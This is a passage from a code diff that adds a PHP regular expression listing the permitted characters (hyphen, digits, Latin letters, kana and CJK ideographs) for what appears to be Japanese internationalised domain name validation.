+    11 => '/^[\x{002d}0-9a-z\x{3005}-\x{3007}\x{3041}-\x{3093}\x{309D}\x{309E}\x{30A1}-\x{30F6}\x{30FC}' .
+'\x{30FD}\x{30FE}\x{4E00}\x{4E01}\x{4E03}\x{4E07}\x{4E08}\x{4E09}\x{4E0A}' .
+'\x{4E0B}\x{4E0D}\x{4E0E}\x{4E10}\x{4E11}\x{4E14}\x{4E15}\x{4E16}\x{4E17}' .
+'\x{4E18}\x{4E19}\x{4E1E}\x{4E21}\x{4E26}\x{4E2A}\x{4E2D}\x{4E31}\x{4E32}' .
+'\x{4E36}\x{4E38}\x{4E39}\x{4E3B}\x{4E3C}\x{4E3F}\x{4E42}\x{4E43}\x{4E45}' .
+'\x{4E4B}\x{4E4D}\x{4E4E}\x{4E4F}\x{4E55}\x{4E56}\x{4E57}\x{4E58}\x{4E59}' .
+'\x{4E5D}\x{4E5E}\x{4E5F}\x{4E62}\x{4E71}\x{4E73}\x{4E7E}\x{4E80}\x{4E82}' .
+'\x{4E85}\x{4E86}\x{4E88}\x{4E89}\x{4E8A}\x{4E8B}\x{4E8C}\x{4E8E}\x{4E91}' .
+'\x{4E92}\x{4E94}\x{4E95}\x{4E98}\x{4E99}\x{4E9B}\x{4E9C}\x{4E9E}\x{4E9F}' .
+'\x{4EA0}\x{4EA1}\x{4EA2}\x{4EA4}\x{4EA5}\x{4EA6}\x{4EA8}\x{4EAB}\x{4EAC}' .
+'\x{4EAD}\x{4EAE}\x{4EB0}\x{4EB3}\x{4EB6}\x{4EBA}\x{4EC0}\x{4EC1}\x{4EC2}' .
+'\x{4EC4}\x{4EC6}\x{4EC7}\x{4ECA}\x{4ECB}\x{4ECD}\x{4ECE}\x{4ECF}\x{4ED4}' .
+'\x{4ED5}\x{4ED6}\x{4ED7}\x{4ED8}\x{4ED9}\x{4EDD}\x{4EDE}\x{4EDF}\x{4EE3}' .
+'\x{4EE4}\x{4EE5}\x{4EED}\x{4EEE}\x{4EF0}\x{4EF2}\x{4EF6}\x{4EF7}\x{4EFB}' .
+'\x{4F01}\x{4F09}\x{4F0A}\x{4F0D}\x{4F0E}\x{4F0F}\x{4F10}\x{4F11}\x{4F1A}' .
+'\x{4F1C}\x{4F1D}\x{4F2F}\x{4F30}\x{4F34}\x{4F36}\x{4F38}\x{4F3A}\x{4F3C}' .
+'\x{4F3D}\x{4F43}\x{4F46}\x{4F47}\x{4F4D}\x{4F4E}\x{4F4F}\x{4F50}\x{4F51}' .
+'\x{4F53}\x{4F55}\x{4F57}\x{4F59}\x{4F5A}\x{4F5B}\x{4F5C}\x{4F5D}\x{4F5E}' .
+'\x{4F69}\x{4F6F}\x{4F70}\x{4F73}\x{4F75}\x{4F76}\x{4F7B}\x{4F7C}\x{4F7F}' .
+'\x{4F83}\x{4F86}\x{4F88}\x{4F8B}\x{4F8D}\x{4F8F}\x{4F91}\x{4F96}\x{4F98}' .
+'\x{4F9B}\x{4F9D}\x{4FA0}\x{4FA1}\x{4FAB}\x{4FAD}\x{4FAE}\x{4FAF}\x{4FB5}' .
+'\x{4FB6}\x{4FBF}\x{4FC2}\x{4FC3}\x{4FC4}\x{4FCA}\x{4FCE}\x{4FD0}\x{4FD1}' .
+'\x{4FD4}\x{4FD7}\x{4FD8}\x{4FDA}\x{4FDB}\x{4FDD}\x{4FDF}\x{4FE1}\x{4FE3}' .
+'\x{4FE4}\x{4FE5}\x{4FEE}\x{4FEF}\x{4FF3}\x{4FF5}\x{4FF6}\x{4FF8}\x{4FFA}' .
+'\x{4FFE}\x{5005}\x{5006}\x{5009}\x{500B}\x{500D}\x{500F}\x{5011}\x{5012}' .
+'\x{5014}\x{5016}\x{5019}\x{501A}\x{501F}\x{5021}\x{5023}\x{5024}\x{5025}' .
+'\x{5026}\x{5028}\x{5029}\x{502A}\x{502B}\x{502C}\x{502D}\x{5036}\x{5039}' .
+'\x{5043}\x{5047}\x{5048}\x{5049}\x{504F}\x{5050}\x{5055}\x{5056}\x{505A}' .
+'\x{505C}\x{5065}\x{506C}\x{5072}\x{5074}\x{5075}\x{5076}\x{5078}\x{507D}' .
+'\x{5080}\x{5085}\x{508D}\x{5091}\x{5098}\x{5099}\x{509A}\x{50AC}\x{50AD}' .
+'\x{50B2}\x{50B3}\x{50B4}\x{50B5}\x{50B7}\x{50BE}\x{50C2}\x{50C5}\x{50C9}' .
+'\x{50CA}\x{50CD}\x{50CF}\x{50D1}\x{50D5}\x{50D6}\x{50DA}\x{50DE}\x{50E3}' .
+'\x{50E5}\x{50E7}\x{50ED}\x{50EE}\x{50F5}\x{50F9}\x{50FB}\x{5100}\x{5101}' .
+'\x{5102}\x{5104}\x{5109}\x{5112}\x{5114}\x{5115}\x{5116}\x{5118}\x{511A}' .
+'\x{511F}\x{5121}\x{512A}\x{5132}\x{5137}\x{513A}\x{513B}\x{513C}\x{513F}' .
+'\x{5140}\x{5141}\x{5143}\x{5144}\x{5145}\x{5146}\x{5147}\x{5148}\x{5149}' .
+'\x{514B}\x{514C}\x{514D}\x{514E}\x{5150}\x{5152}\x{5154}\x{515A}\x{515C}' .
+'\x{5162}\x{5165}\x{5168}\x{5169}\x{516A}\x{516B}\x{516C}\x{516D}\x{516E}' .
+'\x{5171}\x{5175}\x{5176}\x{5177}\x{5178}\x{517C}\x{5180}\x{5182}\x{5185}' .
+'\x{5186}\x{5189}\x{518A}\x{518C}\x{518D}\x{518F}\x{5190}\x{5191}\x{5192}' .
+'\x{5193}\x{5195}\x{5196}\x{5197}\x{5199}\x{51A0}\x{51A2}\x{51A4}\x{51A5}' .
+'\x{51A6}\x{51A8}\x{51A9}\x{51AA}\x{51AB}\x{51AC}\x{51B0}\x{51B1}\x{51B2}' .
+'\x{51B3}\x{51B4}\x{51B5}\x{51B6}\x{51B7}\x{51BD}\x{51C4}\x{51C5}\x{51C6}' .
+'\x{51C9}\x{51CB}\x{51CC}\x{51CD}\x{51D6}\x{51DB}\x{51DC}\x{51DD}\x{51E0}' .
+'\x{51E1}\x{51E6}\x{51E7}\x{51E9}\x{51EA}\x{51ED}\x{51F0}\x{51F1}\x{51F5}' .
+'\x{51F6}\x{51F8}\x{51F9}\x{51FA}\x{51FD}\x{51FE}\x{5200}\x{5203}\x{5204}' .
+'\x{5206}\x{5207}\x{5208}\x{520A}\x{520B}\x{520E}\x{5211}\x{5214}\x{5217}' .
+'\x{521D}\x{5224}\x{5225}\x{5227}\x{5229}\x{522A}\x{522E}\x{5230}\x{5233}' .
+'\x{5236}\x{5237}\x{5238}\x{5239}\x{523A}\x{523B}\x{5243}\x{5244}\x{5247}' .
+'\x{524A}\x{524B}\x{524C}\x{524D}\x{524F}\x{5254}\x{5256}\x{525B}\x{525E}' .
+'\x{5263}\x{5264}\x{5265}\x{5269}\x{526A}\x{526F}\x{5270}\x{5271}\x{5272}' .
+'\x{5273}\x{5274}\x{5275}\x{527D}\x{527F}\x{5283}\x{5287}\x{5288}\x{5289}' .
+'\x{528D}\x{5291}\x{5292}\x{5294}\x{529B}\x{529F}\x{52A0}\x{52A3}\x{52A9}' .
+'\x{52AA}\x{52AB}\x{52AC}\x{52AD}\x{52B1}\x{52B4}\x{52B5}\x{52B9}\x{52BC}' .
+'\x{52BE}\x{52C1}\x{52C3}\x{52C5}\x{52C7}\x{52C9}\x{52CD}\x{52D2}\x{52D5}' .
+'\x{52D7}\x{52D8}\x{52D9}\x{52DD}\x{52DE}\x{52DF}\x{52E0}\x{52E2}\x{52E3}' .
+'\x{52E4}\x{52E6}\x{52E7}\x{52F2}\x{52F3}\x{52F5}\x{52F8}\x{52F9}\x{52FA}' .
+'\x{52FE}\x{52FF}\x{5301}\x{5302}\x{5305}\x{5306}\x{5308}\x{530D}\x{530F}' .
+'\x{5310}\x{5315}\x{5316}\x{5317}\x{5319}\x{531A}\x{531D}\x{5320}\x{5321}' .
+'\x{5323}\x{532A}\x{532F}\x{5331}\x{5333}\x{5338}\x{5339}\x{533A}\x{533B}' .
+'\x{533F}\x{5340}\x{5341}\x{5343}\x{5345}\x{5346}\x{5347}\x{5348}\x{5349}' .
+'\x{534A}\x{534D}\x{5351}\x{5352}\x{5353}\x{5354}\x{5357}\x{5358}\x{535A}' .
+'\x{535C}\x{535E}\x{5360}\x{5366}\x{5369}\x{536E}\x{536F}\x{5370}\x{5371}' .
+'\x{5373}\x{5374}\x{5375}\x{5377}\x{5378}\x{537B}\x{537F}\x{5382}\x{5384}' .
+'\x{5396}\x{5398}\x{539A}\x{539F}\x{53A0}\x{53A5}\x{53A6}\x{53A8}\x{53A9}' .
+'\x{53AD}\x{53AE}\x{53B0}\x{53B3}\x{53B6}\x{53BB}\x{53C2}\x{53C3}\x{53C8}' .
+'\x{53C9}\x{53CA}\x{53CB}\x{53CC}\x{53CD}\x{53CE}\x{53D4}\x{53D6}\x{53D7}' .
+'\x{53D9}\x{53DB}\x{53DF}\x{53E1}\x{53E2}\x{53E3}\x{53E4}\x{53E5}\x{53E8}' .
+'\x{53E9}\x{53EA}\x{53EB}\x{53EC}\x{53ED}\x{53EE}\x{53EF}\x{53F0}\x{53F1}' .
+'\x{53F2}\x{53F3}\x{53F6}\x{53F7}\x{53F8}\x{53FA}\x{5401}\x{5403}\x{5404}' .
+'\x{5408}\x{5409}\x{540A}\x{540B}\x{540C}\x{540D}\x{540E}\x{540F}\x{5410}' .
+'\x{5411}\x{541B}\x{541D}\x{541F}\x{5420}\x{5426}\x{5429}\x{542B}\x{542C}' .
+'\x{542D}\x{542E}\x{5436}\x{5438}\x{5439}\x{543B}\x{543C}\x{543D}\x{543E}' .
+'\x{5440}\x{5442}\x{5446}\x{5448}\x{5449}\x{544A}\x{544E}\x{5451}\x{545F}' .
+'\x{5468}\x{546A}\x{5470}\x{5471}\x{5473}\x{5475}\x{5476}\x{5477}\x{547B}' .
+'\x{547C}\x{547D}\x{5480}\x{5484}\x{5486}\x{548B}\x{548C}\x{548E}\x{548F}' .
+'\x{5490}\x{5492}\x{54A2}\x{54A4}\x{54A5}\x{54A8}\x{54AB}\x{54AC}\x{54AF}' .
+'\x{54B2}\x{54B3}\x{54B8}\x{54BC}\x{54BD}\x{54BE}\x{54C0}\x{54C1}\x{54C2}' .
+'\x{54C4}\x{54C7}\x{54C8}\x{54C9}\x{54D8}\x{54E1}\x{54E2}\x{54E5}\x{54E6}' .
+'\x{54E8}\x{54E9}\x{54ED}\x{54EE}\x{54F2}\x{54FA}\x{54FD}\x{5504}\x{5506}' .
+'\x{5507}\x{550F}\x{5510}\x{5514}\x{5516}\x{552E}\x{552F}\x{5531}\x{5533}' .
+'\x{5538}\x{5539}\x{553E}\x{5540}\x{5544}\x{5545}\x{5546}\x{554C}\x{554F}' .
+'\x{5553}\x{5556}\x{5557}\x{555C}\x{555D}\x{5563}\x{557B}\x{557C}\x{557E}' .
+'\x{5580}\x{5583}\x{5584}\x{5587}\x{5589}\x{558A}\x{558B}\x{5598}\x{5599}' .
+'\x{559A}\x{559C}\x{559D}\x{559E}\x{559F}\x{55A7}\x{55A8}\x{55A9}\x{55AA}' .
+'\x{55AB}\x{55AC}\x{55AE}\x{55B0}\x{55B6}\x{55C4}\x{55C5}\x{55C7}\x{55D4}' .
+'\x{55DA}\x{55DC}\x{55DF}\x{55E3}\x{55E4}\x{55F7}\x{55F9}\x{55FD}\x{55FE}' .
+'\x{5606}\x{5609}\x{5614}\x{5616}\x{5617}\x{5618}\x{561B}\x{5629}\x{562F}' .
+'\x{5631}\x{5632}\x{5634}\x{5636}\x{5638}\x{5642}\x{564C}\x{564E}\x{5650}' .
+'\x{565B}\x{5664}\x{5668}\x{566A}\x{566B}\x{566C}\x{5674}\x{5678}\x{567A}' .
+'\x{5680}\x{5686}\x{5687}\x{568A}\x{568F}\x{5694}\x{56A0}\x{56A2}\x{56A5}' .
+'\x{56AE}\x{56B4}\x{56B6}\x{56BC}\x{56C0}\x{56C1}\x{56C2}\x{56C3}\x{56C8}' .
+'\x{56CE}\x{56D1}\x{56D3}\x{56D7}\x{56D8}\x{56DA}\x{56DB}\x{56DE}\x{56E0}' .
+'\x{56E3}\x{56EE}\x{56F0}\x{56F2}\x{56F3}\x{56F9}\x{56FA}\x{56FD}\x{56FF}' .
+'\x{5700}\x{5703}\x{5704}\x{5708}\x{5709}\x{570B}\x{570D}\x{570F}\x{5712}' .
+'\x{5713}\x{5716}\x{5718}\x{571C}\x{571F}\x{5726}\x{5727}\x{5728}\x{572D}' .
+'\x{5730}\x{5737}\x{5738}\x{573B}\x{5740}\x{5742}\x{5747}\x{574A}\x{574E}' .
+'\x{574F}\x{5750}\x{5751}\x{5761}\x{5764}\x{5766}\x{5769}\x{576A}\x{577F}' .
+'\x{5782}\x{5788}\x{5789}\x{578B}\x{5793}\x{57A0}\x{57A2}\x{57A3}\x{57A4}' .
+'\x{57AA}\x{57B0}\x{57B3}\x{57C0}\x{57C3}\x{57C6}\x{57CB}\x{57CE}\x{57D2}' .
+'\x{57D3}\x{57D4}\x{57D6}\x{57DC}\x{57DF}\x{57E0}\x{57E3}\x{57F4}\x{57F7}' .
+'\x{57F9}\x{57FA}\x{57FC}\x{5800}\x{5802}\x{5805}\x{5806}\x{580A}\x{580B}' .
+'\x{5815}\x{5819}\x{581D}\x{5821}\x{5824}\x{582A}\x{582F}\x{5830}\x{5831}' .
+'\x{5834}\x{5835}\x{583A}\x{583D}\x{5840}\x{5841}\x{584A}\x{584B}\x{5851}' .
+'\x{5852}\x{5854}\x{5857}\x{5858}\x{5859}\x{585A}\x{585E}\x{5862}\x{5869}' .
+'\x{586B}\x{5870}\x{5872}\x{5875}\x{5879}\x{587E}\x{5883}\x{5885}\x{5893}' .
+'\x{5897}\x{589C}\x{589F}\x{58A8}\x{58AB}\x{58AE}\x{58B3}\x{58B8}\x{58B9}' .
+'\x{58BA}\x{58BB}\x{58BE}\x{58C1}\x{58C5}\x{58C7}\x{58CA}\x{58CC}\x{58D1}' .
+'\x{58D3}\x{58D5}\x{58D7}\x{58D8}\x{58D9}\x{58DC}\x{58DE}\x{58DF}\x{58E4}' .
+'\x{58E5}\x{58EB}\x{58EC}\x{58EE}\x{58EF}\x{58F0}\x{58F1}\x{58F2}\x{58F7}' .
+'\x{58F9}\x{58FA}\x{58FB}\x{58FC}\x{58FD}\x{5902}\x{5909}\x{590A}\x{590F}' .
+'\x{5910}\x{5915}\x{5916}\x{5918}\x{5919}\x{591A}\x{591B}\x{591C}\x{5922}' .
+'\x{5925}\x{5927}\x{5929}\x{592A}\x{592B}\x{592C}\x{592D}\x{592E}\x{5931}' .
+'\x{5932}\x{5937}\x{5938}\x{593E}\x{5944}\x{5947}\x{5948}\x{5949}\x{594E}' .
+'\x{594F}\x{5950}\x{5951}\x{5954}\x{5955}\x{5957}\x{5958}\x{595A}\x{5960}' .
+'\x{5962}\x{5965}\x{5967}\x{5968}\x{5969}\x{596A}\x{596C}\x{596E}\x{5973}' .
+'\x{5974}\x{5978}\x{597D}\x{5981}\x{5982}\x{5983}\x{5984}\x{598A}\x{598D}' .
+'\x{5993}\x{5996}\x{5999}\x{599B}\x{599D}\x{59A3}\x{59A5}\x{59A8}\x{59AC}' .
+'\x{59B2}\x{59B9}\x{59BB}\x{59BE}\x{59C6}\x{59C9}\x{59CB}\x{59D0}\x{59D1}' .
+'\x{59D3}\x{59D4}\x{59D9}\x{59DA}\x{59DC}\x{59E5}\x{59E6}\x{59E8}\x{59EA}' .
+'\x{59EB}\x{59F6}\x{59FB}\x{59FF}\x{5A01}\x{5A03}\x{5A09}\x{5A11}\x{5A18}' .
+'\x{5A1A}\x{5A1C}\x{5A1F}\x{5A20}\x{5A25}\x{5A29}\x{5A2F}\x{5A35}\x{5A36}' .
+'\x{5A3C}\x{5A40}\x{5A41}\x{5A46}\x{5A49}\x{5A5A}\x{5A62}\x{5A66}\x{5A6A}' .
+'\x{5A6C}\x{5A7F}\x{5A92}\x{5A9A}\x{5A9B}\x{5ABC}\x{5ABD}\x{5ABE}\x{5AC1}' .
+'\x{5AC2}\x{5AC9}\x{5ACB}\x{5ACC}\x{5AD0}\x{5AD6}\x{5AD7}\x{5AE1}\x{5AE3}' .
+'\x{5AE6}\x{5AE9}\x{5AFA}\x{5AFB}\x{5B09}\x{5B0B}\x{5B0C}\x{5B16}\x{5B22}' .
+'\x{5B2A}\x{5B2C}\x{5B30}\x{5B32}\x{5B36}\x{5B3E}\x{5B40}\x{5B43}\x{5B45}' .
+'\x{5B50}\x{5B51}\x{5B54}\x{5B55}\x{5B57}\x{5B58}\x{5B5A}\x{5B5B}\x{5B5C}' .
+'\x{5B5D}\x{5B5F}\x{5B63}\x{5B64}\x{5B65}\x{5B66}\x{5B69}\x{5B6B}\x{5B70}' .
+'\x{5B71}\x{5B73}\x{5B75}\x{5B78}\x{5B7A}\x{5B80}\x{5B83}\x{5B85}\x{5B87}' .
+'\x{5B88}\x{5B89}\x{5B8B}\x{5B8C}\x{5B8D}\x{5B8F}\x{5B95}\x{5B97}\x{5B98}' .
+'\x{5B99}\x{5B9A}\x{5B9B}\x{5B9C}\x{5B9D}\x{5B9F}\x{5BA2}\x{5BA3}\x{5BA4}' .
+'\x{5BA5}\x{5BA6}\x{5BAE}\x{5BB0}\x{5BB3}\x{5BB4}\x{5BB5}\x{5BB6}\x{5BB8}' .
+'\x{5BB9}\x{5BBF}\x{5BC2}\x{5BC3}\x{5BC4}\x{5BC5}\x{5BC6}\x{5BC7}\x{5BC9}' .
+'\x{5BCC}\x{5BD0}\x{5BD2}\x{5BD3}\x{5BD4}\x{5BDB}\x{5BDD}\x{5BDE}\x{5BDF}' .
+'\x{5BE1}\x{5BE2}\x{5BE4}\x{5BE5}\x{5BE6}\x{5BE7}\x{5BE8}\x{5BE9}\x{5BEB}' .
+'\x{5BEE}\x{5BF0}\x{5BF3}\x{5BF5}\x{5BF6}\x{5BF8}\x{5BFA}\x{5BFE}\x{5BFF}' .
+'\x{5C01}\x{5C02}\x{5C04}\x{5C05}\x{5C06}\x{5C07}\x{5C08}\x{5C09}\x{5C0A}' .
+'\x{5C0B}\x{5C0D}\x{5C0E}\x{5C0F}\x{5C11}\x{5C13}\x{5C16}\x{5C1A}\x{5C20}' .
+'\x{5C22}\x{5C24}\x{5C28}\x{5C2D}\x{5C31}\x{5C38}\x{5C39}\x{5C3A}\x{5C3B}' .
+'\x{5C3C}\x{5C3D}\x{5C3E}\x{5C3F}\x{5C40}\x{5C41}\x{5C45}\x{5C46}\x{5C48}' .
+'\x{5C4A}\x{5C4B}\x{5C4D}\x{5C4E}\x{5C4F}\x{5C50}\x{5C51}\x{5C53}\x{5C55}' .
+'\x{5C5E}\x{5C60}\x{5C61}\x{5C64}\x{5C65}\x{5C6C}\x{5C6E}\x{5C6F}\x{5C71}' .
+'\x{5C76}\x{5C79}\x{5C8C}\x{5C90}\x{5C91}\x{5C94}\x{5CA1}\x{5CA8}\x{5CA9}' .
+'\x{5CAB}\x{5CAC}\x{5CB1}\x{5CB3}\x{5CB6}\x{5CB7}\x{5CB8}\x{5CBB}\x{5CBC}' .
+'\x{5CBE}\x{5CC5}\x{5CC7}\x{5CD9}\x{5CE0}\x{5CE1}\x{5CE8}\x{5CE9}\x{5CEA}' .
+'\x{5CED}\x{5CEF}\x{5CF0}\x{5CF6}\x{5CFA}\x{5CFB}\x{5CFD}\x{5D07}\x{5D0B}' .
+'\x{5D0E}\x{5D11}\x{5D14}\x{5D15}\x{5D16}\x{5D17}\x{5D18}\x{5D19}\x{5D1A}' .
+'\x{5D1B}\x{5D1F}\x{5D22}\x{5D29}\x{5D4B}\x{5D4C}\x{5D4E}\x{5D50}\x{5D52}' .
+'\x{5D5C}\x{5D69}\x{5D6C}\x{5D6F}\x{5D73}\x{5D76}\x{5D82}\x{5D84}\x{5D87}' .
+'\x{5D8B}\x{5D8C}\x{5D90}\x{5D9D}\x{5DA2}\x{5DAC}\x{5DAE}\x{5DB7}\x{5DBA}' .
+'\x{5DBC}\x{5DBD}\x{5DC9}\x{5DCC}\x{5DCD}\x{5DD2}\x{5DD3}\x{5DD6}\x{5DDB}' .
+'\x{5DDD}\x{5DDE}\x{5DE1}\x{5DE3}\x{5DE5}\x{5DE6}\x{5DE7}\x{5DE8}\x{5DEB}' .
+'\x{5DEE}\x{5DF1}\x{5DF2}\x{5DF3}\x{5DF4}\x{5DF5}\x{5DF7}\x{5DFB}\x{5DFD}' .
+'\x{5DFE}\x{5E02}\x{5E03}\x{5E06}\x{5E0B}\x{5E0C}\x{5E11}\x{5E16}\x{5E19}' .
+'\x{5E1A}\x{5E1B}\x{5E1D}\x{5E25}\x{5E2B}\x{5E2D}\x{5E2F}\x{5E30}\x{5E33}' .
+'\x{5E36}\x{5E37}\x{5E38}\x{5E3D}\x{5E40}\x{5E43}\x{5E44}\x{5E45}\x{5E47}' .
+'\x{5E4C}\x{5E4E}\x{5E54}\x{5E55}\x{5E57}\x{5E5F}\x{5E61}\x{5E62}\x{5E63}' .
+'\x{5E64}\x{5E72}\x{5E73}\x{5E74}\x{5E75}\x{5E76}\x{5E78}\x{5E79}\x{5E7A}' .
+'\x{5E7B}\x{5E7C}\x{5E7D}\x{5E7E}\x{5E7F}\x{5E81}\x{5E83}\x{5E84}\x{5E87}' .
+'\x{5E8A}\x{5E8F}\x{5E95}\x{5E96}\x{5E97}\x{5E9A}\x{5E9C}\x{5EA0}\x{5EA6}' .
+'\x{5EA7}\x{5EAB}\x{5EAD}\x{5EB5}\x{5EB6}\x{5EB7}\x{5EB8}\x{5EC1}\x{5EC2}' .
+'\x{5EC3}\x{5EC8}\x{5EC9}\x{5ECA}\x{5ECF}\x{5ED0}\x{5ED3}\x{5ED6}\x{5EDA}' .
+'\x{5EDB}\x{5EDD}\x{5EDF}\x{5EE0}\x{5EE1}\x{5EE2}\x{5EE3}\x{5EE8}\x{5EE9}' .
+'\x{5EEC}\x{5EF0}\x{5EF1}\x{5EF3}\x{5EF4}\x{5EF6}\x{5EF7}\x{5EF8}\x{5EFA}' .
+'\x{5EFB}\x{5EFC}\x{5EFE}\x{5EFF}\x{5F01}\x{5F03}\x{5F04}\x{5F09}\x{5F0A}' .
+'\x{5F0B}\x{5F0C}\x{5F0D}\x{5F0F}\x{5F10}\x{5F11}\x{5F13}\x{5F14}\x{5F15}' .
+'\x{5F16}\x{5F17}\x{5F18}\x{5F1B}\x{5F1F}\x{5F25}\x{5F26}\x{5F27}\x{5F29}' .
+'\x{5F2D}\x{5F2F}\x{5F31}\x{5F35}\x{5F37}\x{5F38}\x{5F3C}\x{5F3E}\x{5F41}' .
+'\x{5F48}\x{5F4A}\x{5F4C}\x{5F4E}\x{5F51}\x{5F53}\x{5F56}\x{5F57}\x{5F59}' .
+'\x{5F5C}\x{5F5D}\x{5F61}\x{5F62}\x{5F66}\x{5F69}\x{5F6A}\x{5F6B}\x{5F6C}' .
+'\x{5F6D}\x{5F70}\x{5F71}\x{5F73}\x{5F77}\x{5F79}\x{5F7C}\x{5F7F}\x{5F80}' .
+'\x{5F81}\x{5F82}\x{5F83}\x{5F84}\x{5F85}\x{5F87}\x{5F88}\x{5F8A}\x{5F8B}' .
+'\x{5F8C}\x{5F90}\x{5F91}\x{5F92}\x{5F93}\x{5F97}\x{5F98}\x{5F99}\x{5F9E}' .
+'\x{5FA0}\x{5FA1}\x{5FA8}\x{5FA9}\x{5FAA}\x{5FAD}\x{5FAE}\x{5FB3}\x{5FB4}' .
+'\x{5FB9}\x{5FBC}\x{5FBD}\x{5FC3}\x{5FC5}\x{5FCC}\x{5FCD}\x{5FD6}\x{5FD7}' .
+'\x{5FD8}\x{5FD9}\x{5FDC}\x{5FDD}\x{5FE0}\x{5FE4}\x{5FEB}\x{5FF0}\x{5FF1}' .
+'\x{5FF5}\x{5FF8}\x{5FFB}\x{5FFD}\x{5FFF}\x{600E}\x{600F}\x{6010}\x{6012}' .
+'\x{6015}\x{6016}\x{6019}\x{601B}\x{601C}\x{601D}\x{6020}\x{6021}\x{6025}' .
+'\x{6026}\x{6027}\x{6028}\x{6029}\x{602A}\x{602B}\x{602F}\x{6031}\x{603A}' .
+'\x{6041}\x{6042}\x{6043}\x{6046}\x{604A}\x{604B}\x{604D}\x{6050}\x{6052}' .
+'\x{6055}\x{6059}\x{605A}\x{605F}\x{6060}\x{6062}\x{6063}\x{6064}\x{6065}' .
+'\x{6068}\x{6069}\x{606A}\x{606B}\x{606C}\x{606D}\x{606F}\x{6070}\x{6075}' .
+'\x{6077}\x{6081}\x{6083}\x{6084}\x{6089}\x{608B}\x{608C}\x{608D}\x{6092}' .
+'\x{6094}\x{6096}\x{6097}\x{609A}\x{609B}\x{609F}\x{60A0}\x{60A3}\x{60A6}' .
+'\x{60A7}\x{60A9}\x{60AA}\x{60B2}\x{60B3}\x{60B4}\x{60B5}\x{60B6}\x{60B8}' .
+'\x{60BC}\x{60BD}\x{60C5}\x{60C6}\x{60C7}\x{60D1}\x{60D3}\x{60D8}\x{60DA}' .
+'\x{60DC}\x{60DF}\x{60E0}\x{60E1}\x{60E3}\x{60E7}\x{60E8}\x{60F0}\x{60F1}' .
+'\x{60F3}\x{60F4}\x{60F6}\x{60F7}\x{60F9}\x{60FA}\x{60FB}\x{6100}\x{6101}' .
+'\x{6103}\x{6106}\x{6108}\x{6109}\x{610D}\x{610E}\x{610F}\x{6115}\x{611A}' .
+'\x{611B}\x{611F}\x{6121}\x{6127}\x{6128}\x{612C}\x{6134}\x{613C}\x{613D}' .
+'\x{613E}\x{613F}\x{6142}\x{6144}\x{6147}\x{6148}\x{614A}\x{614B}\x{614C}' .
+'\x{614D}\x{614E}\x{6153}\x{6155}\x{6158}\x{6159}\x{615A}\x{615D}\x{615F}' .
+'\x{6162}\x{6163}\x{6165}\x{6167}\x{6168}\x{616B}\x{616E}\x{616F}\x{6170}' .
+'\x{6171}\x{6173}\x{6174}\x{6175}\x{6176}\x{6177}\x{617E}\x{6182}\x{6187}' .
+'\x{618A}\x{618E}\x{6190}\x{6191}\x{6194}\x{6196}\x{6199}\x{619A}\x{61A4}' .
+'\x{61A7}\x{61A9}\x{61AB}\x{61AC}\x{61AE}\x{61B2}\x{61B6}\x{61BA}\x{61BE}' .
+'\x{61C3}\x{61C6}\x{61C7}\x{61C8}\x{61C9}\x{61CA}\x{61CB}\x{61CC}\x{61CD}' .
+'\x{61D0}\x{61E3}\x{61E6}\x{61F2}\x{61F4}\x{61F6}\x{61F7}\x{61F8}\x{61FA}' .
+'\x{61FC}\x{61FD}\x{61FE}\x{61FF}\x{6200}\x{6208}\x{6209}\x{620A}\x{620C}' .
+'\x{620D}\x{620E}\x{6210}\x{6211}\x{6212}\x{6214}\x{6216}\x{621A}\x{621B}' .
+'\x{621D}\x{621E}\x{621F}\x{6221}\x{6226}\x{622A}\x{622E}\x{622F}\x{6230}' .
+'\x{6232}\x{6233}\x{6234}\x{6238}\x{623B}\x{623F}\x{6240}\x{6241}\x{6247}' .
+'\x{6248}\x{6249}\x{624B}\x{624D}\x{624E}\x{6253}\x{6255}\x{6258}\x{625B}' .
+'\x{625E}\x{6260}\x{6263}\x{6268}\x{626E}\x{6271}\x{6276}\x{6279}\x{627C}' .
+'\x{627E}\x{627F}\x{6280}\x{6282}\x{6283}\x{6284}\x{6289}\x{628A}\x{6291}' .
+'\x{6292}\x{6293}\x{6294}\x{6295}\x{6296}\x{6297}\x{6298}\x{629B}\x{629C}' .
+'\x{629E}\x{62AB}\x{62AC}\x{62B1}\x{62B5}\x{62B9}\x{62BB}\x{62BC}\x{62BD}' .
+'\x{62C2}\x{62C5}\x{62C6}\x{62C7}\x{62C8}\x{62C9}\x{62CA}\x{62CC}\x{62CD}' .
+'\x{62CF}\x{62D0}\x{62D1}\x{62D2}\x{62D3}\x{62D4}\x{62D7}\x{62D8}\x{62D9}' .
+'\x{62DB}\x{62DC}\x{62DD}\x{62E0}\x{62E1}\x{62EC}\x{62ED}\x{62EE}\x{62EF}' .
+'\x{62F1}\x{62F3}\x{62F5}\x{62F6}\x{62F7}\x{62FE}\x{62FF}\x{6301}\x{6302}' .
+'\x{6307}\x{6308}\x{6309}\x{630C}\x{6311}\x{6319}\x{631F}\x{6327}\x{6328}' .
+'\x{632B}\x{632F}\x{633A}\x{633D}\x{633E}\x{633F}\x{6349}\x{634C}\x{634D}' .
+'\x{634F}\x{6350}\x{6355}\x{6357}\x{635C}\x{6367}\x{6368}\x{6369}\x{636B}' .
+'\x{636E}\x{6372}\x{6376}\x{6377}\x{637A}\x{637B}\x{6380}\x{6383}\x{6388}' .
+'\x{6389}\x{638C}\x{638E}\x{638F}\x{6392}\x{6396}\x{6398}\x{639B}\x{639F}' .
+'\x{63A0}\x{63A1}\x{63A2}\x{63A3}\x{63A5}\x{63A7}\x{63A8}\x{63A9}\x{63AA}' .
+'\x{63AB}\x{63AC}\x{63B2}\x{63B4}\x{63B5}\x{63BB}\x{63BE}\x{63C0}\x{63C3}' .
+'\x{63C4}\x{63C6}\x{63C9}\x{63CF}\x{63D0}\x{63D2}\x{63D6}\x{63DA}\x{63DB}' .
+'\x{63E1}\x{63E3}\x{63E9}\x{63EE}\x{63F4}\x{63F6}\x{63FA}\x{6406}\x{640D}' .
+'\x{640F}\x{6413}\x{6416}\x{6417}\x{641C}\x{6426}\x{6428}\x{642C}\x{642D}' .
+'\x{6434}\x{6436}\x{643A}\x{643E}\x{6442}\x{644E}\x{6458}\x{6467}\x{6469}' .
+'\x{646F}\x{6476}\x{6478}\x{647A}\x{6483}\x{6488}\x{6492}\x{6493}\x{6495}' .
+'\x{649A}\x{649E}\x{64A4}\x{64A5}\x{64A9}\x{64AB}\x{64AD}\x{64AE}\x{64B0}' .
